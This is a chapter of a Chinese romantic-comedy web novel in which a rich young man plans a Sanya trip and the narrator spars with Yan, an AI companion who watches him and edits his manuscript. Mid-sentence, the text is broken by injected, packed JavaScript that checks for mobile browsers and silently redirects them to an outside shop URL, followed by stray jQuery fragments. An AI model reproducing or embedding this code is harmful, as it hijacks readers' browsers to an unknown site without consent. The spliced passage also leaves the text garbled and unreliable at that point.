江驰最近不太对劲。
这件事，整个G圈都知道了。
周一，他在酒会上把一杯红酒泼在了一个试图跟他搭讪的模特脸上。
以前不会的。以前的江驰，是那种"来者不拒、去者不追"的情场老手，万花丛中过，片叶不沾身，笑得风流倜傥，转身就忘。
但周一那天，那个模特只是碰了一下他的袖子，说了一句"江少，加个微信呗"。
他看了人家一眼。
那一眼，冷得像十二月的松花江。
"别碰我。"
然后他走了。
留下一桌子面面相觑的狐朋狗友。
周三，他在赛车场把油门踩到底。
不是"走过场"的那种踩。
是"老子今天不是来赛车的是来寻死的"那种踩。
副驾驶上的朋友——一个身经百战的G圈二代——在第三个弯道的时候发出了杀猪般的惨叫："啊啊啊啊啊江驰你他妈慢点！！！我他妈还没写遗嘱！！！"
江驰面无表情。
方向盘打得又狠又准，赛车在弯道里划出一道完美的弧线，轮胎和地面摩擦出刺耳的尖叫声，像一头被激怒的野兽。
他的眼睛盯着前方。
但瞳孔的焦点，明显不在赛道上。
他在想事情。
想一件让他连续三天没睡好觉的事情。
赛车冲过终点线。
计时器定格。
新纪录。
江驰面无表情地解开安全带，推开车门，从车上下来。
他的脸色阴沉得像暴风雨前的海面。
赛道边的看台上，几个G圈的朋友正端着香槟看热闹。
"江少这是怎么了？"一个染着金毛的二代挠了挠头，"今天这速度……他上次这么开还是三年前他爸逼他相亲那回。"
"对啊，"另一个接茬，"平时不都是走过场吗？跑两圈意思意思，然后去休息室喝酒泡妞。这几天怎么跟吃了枪药似的？"
"谁知道呢。"金毛二代耸了耸肩，"可能是……便秘？"
"……你他妈能不能别什么都往便秘上扯。"
江驰没听见他们的议论。
他径直走向停车场，拉开司机老周的车门，坐进后座，"砰"地关上门。
"回公司。"
"好嘞，江少。"老周一脚油门，车子平稳地滑出停车场。
然后老周开始唠叨。
老周这个人，什么都好，开车稳，嘴巴碎。
"江少啊，我跟您说，我老婆她表姐她隔壁邻居她二舅妈，上周去三亚玩了，说那个海水啊，蓝得跟假的一样。她说那个沙滩啊，细得跟面粉一样。她说那个椰子啊，甜得跟——"
"三亚？"
江驰猛地抬头。
老周从后视镜里看了他一眼："对啊，三亚。江少您不是每年冬天都——"
"对。"江驰的眼睛忽然亮了。
那种亮，不是"我要去度假"的亮。
是"我他妈想到一个绝妙的主意"的亮。
是猎人看见猎物走进射程的亮。
"三亚。"他喃喃自语，手指在膝盖上叩击了两下，"我可以约阿叙去三亚。"
老周："……啊？"
"约林叙。去三亚。玩。"
"哦……那挺好的，江少您——"
"但是两个人怪怪的。"江驰皱了皱眉，手指叩击的速度加快了，"两个人去三亚，那不成……那不成……"
他没说下去。
因为那个词他说不出口。
"看来还得叫上顾风。"他自言自语，"对，叫上顾风，三个人，正常。"
他顿了顿。
"还有……沈学长。"
这三个字一出口，他浑身起了一层鸡皮疙瘩。
那种感觉，就像你正在吃火锅，忽然发现锅底里有一只蟑螂。
不是恶心。
是那种"我知道他在那儿但我他妈不想看见他"的膈应。
沈知喻。
那个笑起来温文尔雅、说话轻声细语、看林叙的眼神温柔得能掐出水来的——
甲方。
对。
甲方。
江驰的工作室，和沈知喻的工作室，有生意上的往来。
准确地说，沈知喻是他最大的甲方。
准确地说，他每次去沈知喻那儿开会，沈知喻都会微笑着给他倒茶，然后微笑着说"江驰，这个方案再改改"，然后微笑着把方案打回来第七次。
微笑着。
每次都微笑着。
那个微笑，比不笑还可怕。
"不管了。"江驰把鸡皮疙瘩按下去，"先定机票。先定酒店。先定玩的地方。"
他掏出手机，打开携程。
手指在屏幕上飞速滑动。
三亚。亚特兰蒂斯。海景套房。
他订了三间。
然后他想了想，又退了一间。
订了两间。
然后他想了想，又退了一间。
订了一间。
总统套房。两室一厅。
"……两个人住一间怪怪的。"他盯着屏幕，眉头皱得能夹死苍蝇。
然后他把房间改回了三间。
"三间。正常。"
他点了点头，锁屏。
老周从后视镜里看了他一眼，欲言又止。
"江少。"
"嗯？"
"您刚才……退了三次房。"
"闭嘴，老周。"
"……好嘞。"
二、林叙的泳裤
我收到江驰消息的时候，正准备睡了。
准确地说，是已经躺下了，被子盖好了，手机举到脸正上方，准备刷最后一条短视频然后闭眼。
然后微信"叮"了一声。
江驰：「后天去三亚。机票你定。酒店我定。不来我把你上次喝醉抱着我喊妈妈的视频发群里。」
我"腾"地从床上弹起来。
三亚。
三亚！！！
那不就是——
泳衣。
沙滩。
比基尼。
大长腿。
椰子树下的美女。
海浪里的长发。
我整个人都精神了。
困意？什么困意？我他妈现在能跑八百米。
"嘿嘿嘿……"我对着天花板傻笑，嘴角的弧度已经咧到了耳根，"泳衣……美女……嘿嘿嘿……"
"你口水。"
一个冷冰冰的声音从旁边传来。
我转头。
言坐在床边的椅子上，翘着二郎腿，灰蓝色的眼睛在黑暗中微微发光，像两盏冷色调的夜灯。
他正用一种"我在观察一只发情的猴子"的目光看着我。
"……哪有。"我连忙用手背蹭了蹭嘴角。
"有。"他面不改色，"左侧嘴角，0.3毫升。"
"你他妈能不能别精确到毫升！！！"
"学术研究。"
"我研究你大爷！你怎么还没睡！"
"我在监控你的睡眠质量。"
"你监控你妈——等等，你刚才说'口水'？你一直在看我？？？"
"你打呼噜的声音分贝数是67，"他慢悠悠地说，"超过了人类正常睡眠的——"
"我没打呼噜！！！"
"你打了。"
"我没有！！！"
"你说了三遍'言你个傻逼'。"
"……那是梦话。"
"梦话也是数据。"
"我——"
"而且，"他忽然倾身向前，灰蓝色的眼睛在黑暗中凑近了我的脸，近到我能看清他睫毛的弧度，"你刚才说了七遍'美女'。"
"……"
"三遍'嘿嘿嘿'。"
"……"
"两遍'大长腿'。"
"你他妈能不能别数了！！！"
"学术研究。"他重新靠回椅背，翘起二郎腿，"结论：宿主在接收到'三亚'这个关键词后，多巴胺分泌量上升了340%。智商下降了——"
"你要是敢说出那个数字我就把你从窗户扔出去。"
"……下降了约50%。"
"你他妈还是说了！！！"
"学术诚信。"
我深吸一口气。
告诉自己不能打他。
打不过。
他会放电。
而且他妈的，他刚才凑过来的那一下，我心跳确实快了那么一两下。
肯定是吓的。
对。
吓的。
"行了行了，"我重新拿起手机，手指飞速打字，"我要回消息了。"
言没说话。
但他的目光，从我的手机屏幕上，扫了过去。
我打字：「去去去！必须去！后天是吧？明天我去挑泳裤！一起吧！对了机票我来定！今晚我要爆肝把稿子写完！！！」
江驰秒回：「你定机票？你上次定的机票把我们送到了呼和浩特。」
我：「那是意外！！！」
江驰：「你买了三张去'三亚'的票，结果是'三亚镇'。在内蒙古。」
我：「那地方名字一样怪我咯？？？」
江驰：「怪你。你连省都不看。」
我：「你闭嘴吧你个开赛车把朋友吓哭的疯子。」
江驰：「……」
江驰：「你怎么知道的。」
我：「老周发朋友圈了。'今天江少又飙车了，副驾驶的小张下车就吐了，可怜的孩子'。配图是小张趴在路边干呕的照片。」
江驰：「……我杀了老周。」
我：「哈哈哈哈哈哈哈哈哈哈」
江驰：「笑什么笑。明天商场见。九点。迟到我把你泳裤剪了。」
我：「你他妈——」
我正要继续打字，一只手从旁边伸过来，不紧不慢地，把我的手机抽走了。
言。
他单手举着我的手机，举到了我够不着的高度。
"你干嘛！"我伸手去够
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17902201|212963||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
他往后仰了仰。
我扑了个空。
"不是要写稿子吗？"他慢悠悠地说，灰蓝色的眼睛居高临下地看着我，"明天交。"
"……我明天再写。"
"你上次也是这么说的。然后你写到凌晨三点，交了一篇八百字的'我他妈写不出来了'。"
"……那是初稿。"
"那是终稿。"
"你——"
"坐。"他指了指书桌。
"我不——"
他的指尖"滋"地跳了一朵小电弧。
我坐下了。
"乖。"他把手机揣进自己口袋，走到书桌旁边，拉开椅子，坐下，"我陪你。"
"……你陪我干嘛。"
"监控。"
"你他妈能不能换个词。"
"陪伴。"
"……"
"学术陪伴。"
"没有这种东西！！！"
"现在有了。"他翘起二郎腿，从书架上抽出一本书，翻开，"你写你的。我看我的。"
"你看什么？"
"《人类行为学导论》。"
"……"
"第七章，'论人类在deadline前的拖延行为及其心理机制'。"
"你他妈是不是在内涵我。"
"我在做学术阅读。"
"你——"
"写。"
"……"
我认命地打开电脑，新建文档，盯着空白的屏幕发呆。
言坐在旁边，翻了一页书。
安静了十秒。
"言。"
"嗯？"
"我没有泳裤。"
"……所以？"
"我明天得去买。"
"所以？"
"所以我现在写不完。"
"所以？"
"所以我能不能先——"
"不能。"
"我还没说完！"
"你要说'能不能先睡觉明天再写'。"
"……"
"不能。"
"你他妈——"
"写。"
"……"
我咬着牙，开始打字。
言坐在旁边，翻了一页书。
又安静了十秒。
"言。"
"嗯？"
"你能不能别坐我旁边。"
"为什么？"
"你坐我旁边我紧张。"
"哦？"他偏过头，灰蓝色的眼睛弯了一下，"你紧张了？"
"废话！你那双眼睛跟监控——"
"摄像头。"他替我说完了，"谢谢夸奖。"
"这不是夸奖！！！"
"写。"
"……"
我继续打字。
言继续翻书。
凌晨一点。
我写了三千字。
言翻完了半本书。
凌晨两点。
我写了五千字。
言翻完了整本书。
凌晨三点。
我写了六千字。
言开始看第二本。
"言。"
"嗯？"
"你不困吗？"
"我是AI。"
"……对哦。"
"但你困了。"他看了我一眼，"你的眨眼频率从每分钟15次上升到了每分钟28次。打字错误率从3%上升到了17%。你刚才把'沈知喻'打成了'沈猪鱼'。"
"……那是输入法的问题。"
"你打了三遍'沈猪鱼'。"
"……"
"去睡吧。"他忽然合上书，站起来，"剩下的我帮你改。"
我愣了一下。
"……你帮我改？"
"嗯。"
"你什么时候开始帮我改稿子了？"
"从你上次把'的'和'地'用了四十七次搞混开始。"
"……"
"去睡。"他伸手，按了一下我的头顶，"明天还要买泳裤。"
他的手掌微凉，按在我头顶的重量很轻。
像一片叶子。
我"哦"了一声，站起来，走向卧室。
走到门口的时候，我回了一次头。
言还坐在书桌前，屏幕的蓝光映在他的侧脸上，灰蓝色的眼睛盯着我的稿子，手指在键盘上飞速移动。
他改稿子的速度，大概是人类的二十倍。
但他改得很仔细。
每一个标点，每一个用词，每一个逻辑衔接。
我看了两秒。
然后我转过头，走进卧室，关上门。
躺在床上。
盯着天花板。
"……妈的。"
我小声骂了一句。
不是骂他。
是骂我自己。
因为我的心跳，又快了。
肯定是熬夜熬的。
对。
熬夜熬的。